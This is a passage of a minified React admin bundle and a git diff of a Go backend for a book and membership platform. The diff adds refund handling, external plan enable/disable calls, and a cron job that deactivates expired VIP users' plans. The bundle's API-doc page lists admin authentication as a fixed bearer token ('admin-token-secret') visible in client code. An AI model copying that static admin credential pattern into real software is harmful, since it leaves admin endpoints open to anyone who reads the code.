line-clamp-3",children:c||"未填写"})]})]}),e==="submitted"&&xe(w,"暂无已提交线索"),e==="contact"&&xe(k,"暂无有联系方式线索"),e==="config"&&s.jsx("div",{className:"space-y-4",children:wg.map($=>s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-4",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsx("h4",{className:"text-white font-medium",children:$.label}),s.jsx(We,{className:"bg-orange-500/20 text-orange-300 border-0 text-xs",children:$.key})]}),s.jsxs("div",{className:"grid grid-cols-1 xl:grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"API 地址"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].apiUrl,onChange:H=>Z($.key,{apiUrl:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"API Key"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].apiKey,onChange:H=>Z($.key,{apiKey:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"Source"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].source,onChange:H=>Z($.key,{source:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"Tags"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].tags,onChange:H=>Z($.key,{tags:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"SiteTags"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].siteTags,onChange:H=>Z($.key,{siteTags:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"说明备注"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].notes,onChange:H=>Z($.key,{notes:H.target.value})})]})]})]},$.key))}),e==="test"&&s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"flex gap-3 mb-4",children:[s.jsxs("div",{className:"flex items-center gap-2 flex-1",children:[s.jsx(yi,{className:"w-4 h-4 text-gray-500 shrink-0"}),s.jsxs("div",{className:"flex-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"测试手机号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm mt-0.5",value:r,onChange:$=>a($.target.value)})]})]}),s.jsxs("div",{className:"flex items-center gap-2 flex-1",children:[s.jsx("span",{className:"text-gray-500 text-sm shrink-0",children:"💬"}),s.jsxs("div",{className:"flex-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"微信号(可选)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm mt-0.5",value:i,onChange:$=>o($.target.value)})]})]}),s.jsx("div",{className:"flex items-end",children:s.jsxs(te,{onClick:fe,className:"bg-orange-500 hover:bg-orange-600 text-white",children:[s.jsx(li,{className:"w-3.5 h-3.5 mr-1"})," 全部测试"]})})]}),s.jsx("div",{className:"grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-2",children:I.map(($,H)=>s.jsxs("div",{className:"flex items-center justify-between bg-[#0a1628] rounded-lg px-3 py-2 border border-gray-700/30",children:[s.jsxs("div",{className:"flex items-center gap-2 min-w-0",children:[$.status==="idle"&&s.jsx("div",{className:"w-2 h-2 rounded-full bg-gray-600 shrink-0"}),$.status==="testing"&&s.jsx(qe,{className:"w-3 h-3 text-yellow-400 animate-spin shrink-0"}),$.status==="success"&&s.jsx(Mg,{className:"w-3 h-3 text-green-400 shrink-0"}),$.status==="error"&&s.jsx(Jw,{className:"w-3 h-3 text-red-400 shrink-0"}),s.jsx("span",{className:"text-white text-xs truncate",children:$.label})]}),s.jsxs("div",{className:"flex items-center gap-1.5 shrink-0",children:[$.responseTime!==void 0&&s.jsxs("span",{className:"text-gray-600 text-[10px]",children:[$.responseTime,"ms"]}),s.jsx("button",{type:"button",onClick:()=>ne(H),disabled:$.status==="testing",className:"text-orange-400/60 hover:text-orange-400 text-[10px] disabled:opacity-50",children:"测试"})]})]},`${$.endpoint}-${H}`))})]}),e==="doc"&&s.jsxs("div",{className:"grid grid-cols-1 xl:grid-cols-2 gap-4",children:[s.jsxs("div",{className:"bg-[#0a1628] rounded-lg border border-gray-700/30 p-4",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsx("h4",{className:"text-white text-sm font-medium",children:"场景获客 API 摘要"}),s.jsxs("a",{href:"https://ckbapi.quwanzhi.com/v1/api/scenarios",target:"_blank",rel:"noreferrer",className:"text-orange-400/70 hover:text-orange-400 text-xs flex items-center gap-1",children:[s.jsx(Us,{className:"w-3 h-3"})," 打开外链"]})]}),s.jsx("pre",{className:"whitespace-pre-wrap text-xs text-gray-400 leading-6",children:h||Iw})]}),s.jsxs("div",{className:"bg-[#0a1628] rounded-lg border border-gray-700/30 p-4",children:[s.jsx("h4",{className:"text-white text-sm font-medium mb-3",children:"说明备注(可编辑)"}),s.jsx("textarea",{className:"w-full min-h-[260px] bg-[#0f2137] border border-gray-700 rounded-md text-sm text-gray-300 p-3 outline-none focus:border-orange-500/50 resize-y",value:c,onChange:$=>u($.target.value),placeholder:"记录 Token、入口差异、回复率统计规则、对接约定等。"})]})]})]})})}const VV=[{id:"stats",label:"数据统计",icon:Tg},{id:"partner",label:"找伙伴",icon:Zn},{id:"resource",label:"资源对接",icon:EM},{id:"mentor",label:"导师预约",icon:kM},{id:"team",label:"团队招募",icon:Lg}];function HV(){const[t,e]=b.useState("stats"),[n,r]=b.useState(!1),[a,i]=b.useState("overview");return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"mb-6 flex items-start justify-between gap-4",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-6 h-6 text-[#38bdac]"}),"找伙伴"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"数据统计、匹配池与记录、资源对接、导师预约、团队招募"})]}),s.jsxs(te,{type:"button",variant:"outline",onClick:()=>r(o=>!o),className:"border-orange-500/40 text-orange-300 hover:bg-orange-500/10 bg-transparent",children:[s.jsx(Ss,{className:"w-4 h-4 mr-2"}),"存客宝"]})]}),n&&s.jsx(BV,{initialTab:a}),s.jsx("div",{className:"flex flex-wrap gap-1 mb-6 bg-[#0f2137] rounded-lg p-1 border border-gray-700/50",children:VV.map(o=>{const c=t===o.id;return s.jsxs("button",{type:"button",onClick:()=>e(o.id),className:`flex items-center gap-2 px-5 py-2.5 rounded-md text-sm font-medium transition-all ${c?"bg-[#38bdac] text-white shadow-lg":"text-gray-400 hover:text-white hover:bg-gray-700/50"}`,children:[s.jsx(o.icon,{className:"w-4 h-4"}),o.label]},o.id)})}),t==="stats"&&s.jsx($V,{onSwitchTab:o=>e(o),onOpenCKB:o=>{i(o||"overview"),r(!0)}}),t==="partner"&&s.jsx(PV,{}),t==="resource"&&s.jsx(OV,{}),t==="mentor"&&s.jsx(_V,{}),t==="team"&&s.jsx(zV,{})]})}function WV(){return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-8",children:[s.jsx(Ss,{className:"w-8 h-8 text-[#38bdac]"}),s.jsx("h1",{className:"text-2xl font-bold text-white",children:"API 接口文档"})]}),s.jsx("p",{className:"text-gray-400 mb-6",children:"API 风格:RESTful · 版本 v1.0 · 基础路径 /api · 简单、清晰、易用。"}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"1. 接口总览"})}),s.jsxs(Ee,{className:"space-y-4 text-sm",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 mb-2",children:"接口分类"}),s.jsxs("ul",{className:"space-y-1 text-gray-300 font-mono",children:[s.jsx("li",{children:"/api/book — 书籍内容(章节列表、内容获取、同步)"}),s.jsx("li",{children:"/api/payment — 支付系统(订单创建、回调、状态查询)"}),s.jsx("li",{children:"/api/referral — 分销系统(邀请码、收益、提现)"}),s.jsx("li",{children:"/api/user — 用户系统(登录、注册、信息更新)"}),s.jsx("li",{children:"/api/match — 匹配系统(寻找匹配、匹配历史)"}),s.jsx("li",{children:"/api/admin — 管理后台(内容/订单/用户/分销管理)"}),s.jsx("li",{children:"/api/config — 配置系统"})]})]}),s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 mb-2",children:"认证方式"}),s.jsx("p",{className:"text-gray-300",children:"用户:Cookie session_id(可选)"}),s.jsx("p",{className:"text-gray-300",children:"管理端:Authorization: Bearer admin-token-secret"})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"2. 书籍内容"})}),s.jsxs(Ee,{className:"space-y-2 text-sm text-gray-300 font-mono",children:[s.jsx("p",{children:"GET /api/book/all-chapters — 获取所有章节"}),s.jsx("p",{children:"GET /api/book/chapter/:id — 获取单章内容"}),s.jsx("p",{children:"POST /api/book/sync — 同步章节(需管理员认证)"})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"3. 支付"})}),s.jsxs(Ee,{className:"space-y-2 text-sm text-gray-300 font-mono",children:[s.jsx("p",{children:"POST /api/payment/create-order — 创建订单"}),s.jsx("p",{children:"POST /api/payment/alipay/notify — 支付宝回调"}),s.jsx("p",{children:"POST /api/payment/wechat/notify — 微信回调"})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"4. 分销与用户"})}),s.jsxs(Ee,{className:"space-y-2 text-sm text-gray-300 font-mono",children:[s.jsx("p",{children:"/api/referral/* — 邀请码、收益查询、提现"}),s.jsx("p",{children:"/api/user/* — 登录、注册、信息更新"}),s.jsx("p",{children:"/api/match/* — 匹配、匹配历史"})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"5. 管理后台"})}),s.jsxs(Ee,{className:"space-y-2 text-sm text-gray-300 font-mono",children:[s.jsx("p",{children:"GET/POST /api/admin/referral-settings — 推广/分销设置(含 VIP 配置)"}),s.jsx("p",{children:"GET /api/db/users、/api/db/book — 用户与章节数据"}),s.jsx("p",{children:"GET /api/admin/orders — 订单列表"})]})]}),s.jsx("p",{className:"text-gray-500 text-xs",children:"完整说明见项目内 开发文档/5、接口/API接口完整文档.md"})]})}function UV(){const t=Si();return s.jsx("div",{className:"min-h-screen bg-[#0a1628] flex items-center justify-center p-8",children:s.jsxs("div",{className:"text-center max-w-md",children:[s.jsx("div",{className:"inline-flex items-center justify-center w-20 h-20 rounded-full bg-red-500/20 text-red-400 mb-6",children:s.jsx(qw,{className:"w-10 h-10"})}),s.jsx("h1",{className:"text-4xl font-bold text-white mb-2",children:"404"}),s.jsx("p",{className:"text-gray-400 mb-1",children:"页面不存在"}),s.jsx("p",{className:"text-sm text-gray-500 font-mono mb-8 break-all",children:t.pathname}),s.jsx(te,{asChild:!0,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:s.jsxs(Eg,{to:"/",children:[s.jsx(LM,{className:"w-4 h-4 mr-2"}),"返回首页"]})})]})})}function KV(){return s.jsxs(wT,{children:[s.jsx(Ht,{path:"/login",element:s.jsx(nI,{})}),s.jsxs(Ht,{path:"/",element:s.jsx(a5,{}),children:[s.jsx(Ht,{index:!0,element:s.jsx(Cm,{to:"/dashboard",replace:!0})}),s.jsx(Ht,{path:"dashboard",element:s.jsx(hP,{})}),s.jsx(Ht,{path:"orders",element:s.jsx(fP,{})}),s.jsx(Ht,{path:"users",element:s.jsx(pP,{})}),s.jsx(Ht,{path:"distribution",element:s.jsx(LP,{})}),s.jsx(Ht,{path:"withdrawals",element:s.jsx(_P,{})}),s.jsx(Ht,{path:"content",element:s.jsx(dV,{})}),s.jsx(Ht,{path:"referral-settings",element:s.jsx(zk,{})}),s.jsx(Ht,{path:"author-settings",element:s.jsx(Cm,{to:"/settings?tab=author",replace:!0})}),s.jsx(Ht,{path:"vip-roles",element:s.jsx(TV,{})}),s.jsx(Ht,{path:"mentors",element:s.jsx(B4,{})}),s.jsx(Ht,{path:"mentor-consultations",element:s.jsx(MV,{})}),s.jsx(Ht,{path:"admin-users",element:s.jsx(Cm,{to:"/settings?tab=admin",replace:!0})}),s.jsx(Ht,{path:"settings",element:s.jsx(yV,{})}),s.jsx(Ht,{path:"payment",element:s.jsx(bV,{})}),s.jsx(Ht,{path:"site",element:s.jsx(jV,{})}),s.jsx(Ht,{path:"qrcodes",element:s.jsx(kV,{})}),s.jsx(Ht,{path:"find-partner",element:s.jsx(HV,{})}),s.jsx(Ht,{path:"match",element:s.jsx(CV,{})}),s.jsx(Ht,{path:"match-records",element:s.jsx(EV,{})}),s.jsx(Ht,{path:"api-doc",element:s.jsx(WV,{})}),s.jsx(Ht,{path:"api-docs",element:s.jsx(F4,{})})]}),s.jsx(Ht,{path:"*",element:s.jsx(UV,{})})]})}EE.createRoot(document.getElementById("root")).render(s.jsx(b.StrictMode,{children:s.jsx(AT,{future:{v7_startTransition:!0,v7_relativeSplatPath:!0},children:s.jsx(KV,{})})})); diff --git a/soul-admin/dist/index.html b/soul-admin/dist/index.html index 2e6bd5ae..303de2dd 100644 --- a/soul-admin/dist/index.html +++ b/soul-admin/dist/index.html @@ -4,8 +4,8 @@ 管理后台 - Soul创业派对 - - + +
diff --git a/soul-admin/src/pages/distribution/DistributionPage.tsx b/soul-admin/src/pages/distribution/DistributionPage.tsx index c505b3f5..8d86ea45 100644 --- a/soul-admin/src/pages/distribution/DistributionPage.tsx +++ b/soul-admin/src/pages/distribution/DistributionPage.tsx @@ -1285,6 +1285,7 @@ export function DistributionPage() { + @@ -1331,10 +1332,20 @@ export function DistributionPage() { ? 'bg-green-500/20 text-green-400 border-0' : r.status === 'pending' || r.status === 'pending_pay' ? 'bg-amber-500/20 text-amber-400 border-0' + : r.status === 'refunded' + ? 'bg-red-500/20 text-red-400 border-0' : 'bg-gray-500/20 text-gray-400 border-0' } > - {r.status === 'paid' ? '已支付' : r.status === 'pending' || r.status === 'pending_pay' ? '待支付' : r.status === 'cancelled' ? '已取消' : '已过期'} + {r.status === 'paid' + ? '已支付' + : r.status === 'pending' || r.status === 'pending_pay' + ? '待支付' + : r.status === 'refunded' + ? '已退款' + : r.status === 'cancelled' + ? '已取消' + : '已过期'} diff --git a/soul-api/internal/handler/autolink.go b/soul-api/internal/handler/autolink.go index 268695f1..9a4b2c00 100644 --- a/soul-api/internal/handler/autolink.go +++ b/soul-api/internal/handler/autolink.go @@ -44,7 +44,7 @@ func ensurePersonByName(db *gorm.DB, name string) (token string, err error) { if db.Where("name = ?", name).First(&p).Error == nil { return p.Token, nil } - created, err := createPersonMinimal(db, clean) + created, err := createPersonMinimal(db, clean, "") if err != nil { return "", err } diff --git a/soul-api/internal/handler/book.go b/soul-api/internal/handler/book.go index 208a1ce7..1c62dc27 100644 --- a/soul-api/internal/handler/book.go +++ b/soul-api/internal/handler/book.go @@ -577,7 +577,7 @@ func previewContent(content string, percent int) string { limit = total } runes := []rune(content) - return string(runes[:limit]) + "\n\n……(购买后阅读完整内容)" + return string(runes[:limit]) + "\n\n……" } // findChapterAndRespond 按条件查章节并返回统一格式 diff --git a/soul-api/internal/handler/ckb_open.go b/soul-api/internal/handler/ckb_open.go index 140a67e6..b09a948a 100644 --- a/soul-api/internal/handler/ckb_open.go +++ b/soul-api/internal/handler/ckb_open.go @@ -72,7 +72,7 @@ func ckbOpenGetToken() (string, error) { if msg == "" { msg = "存客宝鉴权失败" } - return "", fmt.Errorf(msg) + return "", fmt.Errorf("%s", msg) } return authResult.Data.Token, nil } @@ -114,7 +114,7 @@ func ckbOpenCreatePlan(token string, payload map[string]interface{}) (planID int if result.Message == "" { result.Message = "创建计划失败" } - return 0, nil, ckbResponse, fmt.Errorf(result.Message) + return 0, nil, ckbResponse, fmt.Errorf("%s", result.Message) } // 原始 data 转为 map 供响应展示 createData = make(map[string]interface{}) @@ -127,6 +127,49 @@ func ckbOpenCreatePlan(token string, payload map[string]interface{}) (planID int return 0, createData, ckbResponse, fmt.Errorf("创建计划返回结果中缺少 planId") } +// ckbOpenUpdatePlan 调用 PUT /v1/plan/update 更新获客计划(用于停用/启用) +// payload 至少包含 planId +func ckbOpenUpdatePlan(token string, payload map[string]interface{}) (ckbResponse map[string]interface{}, err error) { + raw, _ := json.Marshal(payload) + req, err := http.NewRequest(http.MethodPut, ckbOpenBaseURL+"/v1/plan/update", bytes.NewReader(raw)) + if err != nil { + return nil, fmt.Errorf("构造更新计划请求失败: %w", err) + } + req.Header.Set("Authorization", "Bearer "+token) + req.Header.Set("Content-Type", "application/json") + + resp, err := http.DefaultClient.Do(req) + if err != nil { + return nil, fmt.Errorf("请求存客宝更新计划失败: %w", err) + } + defer resp.Body.Close() + b, _ := io.ReadAll(resp.Body) + var result struct { + Code int `json:"code"` + Message string `json:"message"` + Data json.RawMessage `json:"data"` + } + _ = json.Unmarshal(b, &result) + ckbResponse = map[string]interface{}{ + "code": result.Code, + "message": result.Message, + "data": nil, + } + if len(result.Data) > 0 { + var dataObj interface{} + _ = json.Unmarshal(result.Data, &dataObj) + ckbResponse["data"] = dataObj + } + if result.Code != 200 { + msg := result.Message + if msg == "" { + msg = "更新计划失败" + } + return ckbResponse, fmt.Errorf("%s", msg) + } + return ckbResponse, nil +} + // parseApiKeyFromCreateData 从 create 返回的 data 中解析 apiKey(若存客宝直接返回则复用,避免二次请求) func parseApiKeyFromCreateData(data map[string]interface{}) string { for _, key := range []string{"apiKey", "api_key"} { @@ -200,7 +243,7 @@ func ckbOpenGetPlanDetail(token string, planID int64) (string, error) { if result.Message == "" { result.Message = "获取计划详情失败" } - return "", fmt.Errorf(result.Message) + return "", fmt.Errorf("%s", result.Message) } if result.Data.APIKey == "" { return "", fmt.Errorf("计划详情中缺少 apiKey") @@ -341,7 +384,7 @@ func ckbOpenDeletePlan(token string, planID int64) error { if result.Message == "" { result.Message = "删除计划失败" } - return fmt.Errorf(result.Message) + return fmt.Errorf("%s", result.Message) } return nil } diff --git a/soul-api/internal/handler/cron.go b/soul-api/internal/handler/cron.go index 8a2da5a1..b7bf711b 100644 --- a/soul-api/internal/handler/cron.go +++ b/soul-api/internal/handler/cron.go @@ -203,3 +203,86 @@ func CronSyncOrders(c *gin.Context) { func CronUnbindExpired(c *gin.Context) { c.JSON(http.StatusOK, gin.H{"success": true}) } + +// RunSyncVipCkbPlans 扫描已到期 VIP 用户,自动停用其绑定 Person 的存客宝计划 +// - 最佳努力:停用失败只记日志,不中断整体任务 +// - 幂等:重复执行不会产生额外副作用(计划已停用则仍然 update) +func RunSyncVipCkbPlans(ctx context.Context, limit int) (scanned, disabled int, err error) { + if limit < 1 { + limit = 200 + } + if limit > 2000 { + limit = 2000 + } + db := database.DB() + + // 只处理“有过期日且已过期,并且绑定了 Person(user_id) 且有 planId”的用户 + // 说明:persons.user_id 为新增字段;历史未绑定的不在本任务处理范围内 + type row struct { + UserID string `gorm:"column:user_id"` + PlanID int64 `gorm:"column:ckb_plan_id"` + Nickname string `gorm:"column:nickname"` + } + rows := make([]row, 0) + q := ` + SELECT u.id as user_id, p.ckb_plan_id, COALESCE(u.nickname,'') as nickname + FROM users u + INNER JOIN persons p ON p.user_id = u.id + WHERE u.is_vip = 1 + AND u.vip_expire_date IS NOT NULL + AND u.vip_expire_date <= NOW() + AND p.ckb_plan_id > 0 + ORDER BY u.vip_expire_date ASC + LIMIT ?` + if err := db.Raw(q, limit).Scan(&rows).Error; err != nil { + return 0, 0, err + } + scanned = len(rows) + if scanned == 0 { + return scanned, 0, nil + } + + openToken, tokErr := ckbOpenGetToken() + if tokErr != nil { + // 没 token 直接失败,让 cron 重试(避免把用户标记成非 VIP 但计划未停用) + return scanned, 0, tokErr + } + + for _, r := range rows { + select { + case <-ctx.Done(): + return scanned, disabled, ctx.Err() + default: + } + if r.PlanID <= 0 || r.UserID == "" { + continue + } + if err := setCkbPlanEnabled(openToken, r.PlanID, false); err != nil { + syncOrdersLogf("停用存客宝计划失败: userId=%s, planId=%d, nickname=%s, err=%v", r.UserID, r.PlanID, r.Nickname, err) + continue + } + disabled++ + syncOrdersLogf("已停用存客宝计划: userId=%s, planId=%d, nickname=%s", r.UserID, r.PlanID, r.Nickname) + + // 兜底清理脏标记:到期用户将 is_vip 置为 0(vip_expire_date 保留) + _ = db.Model(&model.User{}).Where("id = ?", r.UserID).Update("is_vip", false).Error + } + return scanned, disabled, nil +} + +// CronSyncVipCkbPlans GET/POST /api/cron/sync-vip-ckb-plans +// ?limit=200 每次最多处理 N 个到期用户 +func CronSyncVipCkbPlans(c *gin.Context) { + limit := 200 + if s := strings.TrimSpace(c.Query("limit")); s != "" { + if n, err := strconv.Atoi(s); err == nil && n > 0 && n <= 2000 { + limit = n + } + } + scanned, disabled, err := RunSyncVipCkbPlans(c.Request.Context(), limit) + if err != nil { + c.JSON(http.StatusOK, gin.H{"success": false, "error": err.Error(), "scanned": scanned, "disabled": disabled}) + return + } + c.JSON(http.StatusOK, gin.H{"success": true, "scanned": scanned, "disabled": disabled, "limit": limit}) +} diff --git a/soul-api/internal/handler/db_person.go b/soul-api/internal/handler/db_person.go index 782203b8..5f9e9117 100644 --- a/soul-api/internal/handler/db_person.go +++ b/soul-api/internal/handler/db_person.go @@ -226,7 +226,8 @@ func DBPersonSave(c *gin.Context) { } // createPersonMinimal 仅按 name 创建 Person(含存客宝计划),供 autolink 复用 -func createPersonMinimal(db *gorm.DB, name string) (*model.Person, error) { +// userID 可为空;用于“绑定用户 → 幂等创建”的场景 +func createPersonMinimal(db *gorm.DB, name string, userID string) (*model.Person, error) { name = strings.TrimSpace(name) if name == "" { return nil, fmt.Errorf("name 必填") @@ -271,6 +272,7 @@ func createPersonMinimal(db *gorm.DB, name string) (*model.Person, error) { } } newPerson := model.Person{ + UserID: strPtrIfNotEmpty(userID), PersonID: personID, Token: tok, Name: name, @@ -287,6 +289,103 @@ func createPersonMinimal(db *gorm.DB, name string) (*model.Person, error) { return &newPerson, nil } +func strPtrIfNotEmpty(s string) *string { + s = strings.TrimSpace(s) + if s == "" { + return nil + } + return &s +} + +// setCkbPlanEnabled 将存客宝计划置为启用/停用(最佳努力) +func setCkbPlanEnabled(openToken string, planID int64, enabled bool) error { + if planID <= 0 { + return fmt.Errorf("planID 无效") + } + status := 0 + if enabled { + status = 1 + } + payload := map[string]interface{}{ + "planId": planID, + "status": status, + "enabled": enabled, + "scenario": 9, // 兜底:部分接口可能要求带 scenario,与 create 保持一致 + } + _, err := ckbOpenUpdatePlan(openToken, payload) + return err +} + +// ensurePersonForUser 确保用户对应的 Person 存在(用于超级个体开通成功后的自动创建) +// 幂等规则: +// 1) 优先按 persons.user_id 查;存在则必要时同步 name=nickname +// 2) 若无 user_id 记录,则按 name=nickname 兜底复用;若复用成功且 user_id 为空则补绑 +// 3) 都不存在则创建(含 CKB 计划) +// +// 该逻辑为“最佳努力”,调用方不应因失败而阻断支付/权益激活。 +func ensurePersonForUser(db *gorm.DB, userID string) error { + userID = strings.TrimSpace(userID) + if userID == "" { + return fmt.Errorf("userID 不能为空") + } + var user model.User + if err := db.Select("id", "nickname").Where("id = ?", userID).First(&user).Error; err != nil { + return fmt.Errorf("用户不存在: %w", err) + } + nickname := "" + if user.Nickname != nil { + nickname = strings.TrimSpace(*user.Nickname) + } + if nickname == "" { + return fmt.Errorf("用户昵称为空,跳过创建 Person") + } + if !isValidNameOrLabel(nickname) { + return fmt.Errorf("用户昵称不符合 Person.name 规则,跳过创建 Person") + } + + // 获取 CKB open token(仅在需要启用计划时使用;失败不阻断) + openToken, _ := ckbOpenGetToken() + + // 1) 按 user_id 查 + var p model.Person + if err := db.Where("user_id = ?", userID).First(&p).Error; err == nil { + // 同步展示名(跟随昵称) + if strings.TrimSpace(p.Name) != nickname { + db.Model(&p).Updates(map[string]interface{}{"name": nickname, "updated_at": time.Now()}) + } + // 续费/恢复:若已有计划则尝试重新启用(最佳努力) + if openToken != "" && p.CkbPlanID > 0 { + _ = setCkbPlanEnabled(openToken, p.CkbPlanID, true) + } + return nil + } + + // 2) 按 name 兜底复用 + var byName model.Person + if err := db.Where("name = ?", nickname).First(&byName).Error; err == nil { + // 若未绑定 user_id,补绑;并确保 name 为昵称 + updates := map[string]interface{}{} + if byName.UserID == nil || strings.TrimSpace(*byName.UserID) == "" { + updates["user_id"] = userID + } + if strings.TrimSpace(byName.Name) != nickname { + updates["name"] = nickname + } + if len(updates) > 0 { + updates["updated_at"] = time.Now() + db.Model(&byName).Updates(updates) + } + if openToken != "" && byName.CkbPlanID > 0 { + _ = setCkbPlanEnabled(openToken, byName.CkbPlanID, true) + } + return nil + } + + // 3) 创建 + _, err := createPersonMinimal(db, nickname, userID) + return err +} + func genPersonToken() (string, error) { b := make([]byte, 24) if _, err := rand.Read(b); err != nil { diff --git a/soul-api/internal/handler/gift_pay.go b/soul-api/internal/handler/gift_pay.go index 87a0e92c..867d1fbf 100644 --- a/soul-api/internal/handler/gift_pay.go +++ b/soul-api/internal/handler/gift_pay.go @@ -360,7 +360,7 @@ func GiftPayDetail(c *gin.Context) { return } - if gpr.Status != "pending" && gpr.Status != "pending_pay" && gpr.Status != "paid" { + if gpr.Status != "pending" && gpr.Status != "pending_pay" && gpr.Status != "paid" && gpr.Status != "refunded" { c.JSON(http.StatusOK, gin.H{"success": false, "error": "该代付已处理"}) return } @@ -431,6 +431,8 @@ func GiftPayDetail(c *gin.Context) { action = "pay" } else if gpr.Status == "paid" { action = "share" + } else if gpr.Status == "refunded" { + action = "refunded" } else if gpr.Status == "pending" { action = "share" // 旧版:待好友付 } @@ -449,6 +451,8 @@ func GiftPayDetail(c *gin.Context) { } else { action = "redeem" } + } else if gpr.Status == "refunded" { + action = "refunded" } } diff --git a/soul-api/internal/handler/miniprogram.go b/soul-api/internal/handler/miniprogram.go index 6ab11783..8d112f99 100644 --- a/soul-api/internal/handler/miniprogram.go +++ b/soul-api/internal/handler/miniprogram.go @@ -675,6 +675,10 @@ func MiniprogramPayNotify(c *gin.Context) { } expireDate := activateVIP(db, beneficiaryUserID, 365, vipActivatedAt) fmt.Printf("[VIP] 设置方式=支付设置, userId=%s, orderSn=%s, 过期日=%s, activatedAt=%s\n", beneficiaryUserID, orderSn, expireDate.Format("2006-01-02"), vipActivatedAt.Format("2006-01-02 15:04:05")) + // 超级个体/会员开通后:确保链接人与事存在同名 @人(最佳努力) + if err := ensurePersonForUser(db, beneficiaryUserID); err != nil { + fmt.Printf("[VIP] ensurePersonForUser 失败: userId=%s, orderSn=%s, err=%v\n", beneficiaryUserID, orderSn, err) + } } else if attach.ProductType == "match" { fmt.Printf("[PayNotify] 用户购买匹配次数: %s,订单 %s\n", beneficiaryUserID, orderSn) } else if attach.ProductType == "balance_recharge" { @@ -1096,6 +1100,10 @@ func activateOrderBenefits(db *gorm.DB, order *model.Order, payTime time.Time) { db.Model(&model.User{}).Where("id = ?", userID).Update("has_full_book", true) case "vip": activateVIP(db, userID, 365, payTime) + // 超级个体/会员开通后:确保链接人与事存在同名 @人(最佳努力,不阻断权益) + if err := ensurePersonForUser(db, userID); err != nil { + fmt.Printf("[VIP] ensurePersonForUser 失败: userId=%s, err=%v\n", userID, err) + } case "balance_recharge": ConfirmBalanceRechargeByOrder(db, order) } diff --git a/soul-api/internal/handler/orders.go b/soul-api/internal/handler/orders.go index 2f2c02e0..5ad82f9d 100644 --- a/soul-api/internal/handler/orders.go +++ b/soul-api/internal/handler/orders.go @@ -274,5 +274,12 @@ func AdminOrderRefund(c *gin.Context) { c.JSON(http.StatusOK, gin.H{"success": false, "error": "退款成功但更新订单状态失败: " + err.Error()}) return } + + // 代付批量订单退款:同步更新 gift_pay_requests 状态,避免小程序仍可分享/领取 + if order.GiftPayRequestID != nil && *order.GiftPayRequestID != "" { + _ = db.Model(&model.GiftPayRequest{}). + Where("id = ?", *order.GiftPayRequestID). + Updates(map[string]interface{}{"status": "refunded"}).Error + } c.JSON(http.StatusOK, gin.H{"success": true, "message": "退款成功"}) } diff --git a/soul-api/internal/model/gift_pay_request.go b/soul-api/internal/model/gift_pay_request.go index 3583be3f..193b71a2 100644 --- a/soul-api/internal/model/gift_pay_request.go +++ b/soul-api/internal/model/gift_pay_request.go @@ -3,7 +3,7 @@ package model import "time" // GiftPayRequest 代付请求表(改造后:发起人创建并支付,好友领取) -// status: pending_pay(待发起人支付)| paid(已支付待领取)| cancelled | expired +// status: pending_pay(待发起人支付)| paid(已支付待领取)| refunded(已退款,不可再分享/领取)| cancelled | expired type GiftPayRequest struct { ID string `gorm:"column:id;primaryKey;size:50" json:"id"` RequestSN string `gorm:"column:request_sn;uniqueIndex;size:32" json:"requestSn"` @@ -12,7 +12,7 @@ type GiftPayRequest struct { ProductID string `gorm:"column:product_id;size:50" json:"productId"` Amount float64 `gorm:"column:amount;type:decimal(10,2)" json:"amount"` Description string `gorm:"column:description;size:200" json:"description"` - Status string 